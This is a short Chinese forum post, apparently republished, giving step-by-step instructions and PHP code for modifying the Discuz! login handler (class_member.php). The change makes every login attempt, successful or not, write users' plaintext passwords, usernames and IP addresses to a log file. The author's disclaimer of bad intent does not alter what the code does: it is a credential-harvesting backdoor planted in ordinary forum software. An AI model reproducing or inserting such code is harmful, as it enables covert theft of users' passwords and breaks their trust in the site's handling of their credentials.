rainer

首先：第一次发帖，大牛请一笑而过

其次：这是通过简单修改DZ源文件，利用密码错误记录原理截取明文密码

呵呵，目的比较简单，不想跑那蛋疼的二次加密MD5，当然不是为了做坏事

目标文件：/source/class/class_member.php

 

先看错误密码记录部分，第200行左右

 

01                         } else {

02                                 $password = preg_replace("/^(.{".round(strlen($_G['gp_password']) / 4)."})(.+?)(.{".round(strlen($_G['gp_password']) / 6)."})$/s", "\\1***\\3", $_G['gp_password']);

03                                 $errorlog = dhtmlspecialchars(

04                                         TIMESTAMP."\t".

05                                         ($result['ucresult']['username'] ? $result['ucresult']['username'] : dstripslashes($_G['gp_username']))."\t".

06                                         $password."\t".

07                                         "Ques #".intval($_G['gp_questionid'])."\t".

08                                         $_G['clientip']);

09                                 writelog('illegallog', $errorlog);

10                                 loginfailed($_G['gp_username']);

11                                 $fmsg = $result['ucresult']['uid'] == '-3' ? (empty($_G['gp_questionid']) || $answer == '' ? 'login_question_empty' : 'login_question_invalid') : 'login_invalid';

12                                 showmessage($fmsg, '', array('loginperm' => $_G['member_loginperm']));

13                         }

我们在用户点登陆时候就记录下明文密码1 $password = preg_replace("/^(.{".round(strlen($_G['gp_password']) / 4)."})(.+?)(.{".round(strlen($_G['gp_password']) / 6)."})$/s", "\\1***\\3", $_G['gp_password']);

去掉*代替部分的密码，要截的是明文

 

$password = $_G['gp_password'];

 

改好的简单代码如下：01                         if($result['status'] > 0) {

02                                 $password = $_G['gp_password'];

03                                 $errorlog = dhtmlspecialchars(

04                                         TIMESTAMP."\t".

05                                         ($result['ucresult']['username'] ? $result['ucresult']['username'] : dstripslashes($_G['gp_username']))."\t".

06                                         $password."\t".

07                                         "Ques #".intval($_G['gp_questionid'])."\t".

08                                         $_G['clientip']);

09                                 writelog('illegallogs', $errorlog);

10                                 www.2cto.com }

整段代码插入到源代码if($result['status'] > 0)    前面

 

明文密码会记录在/data/log/2011(月份)_illegallogs.php   里，当然，错误和正确都会记录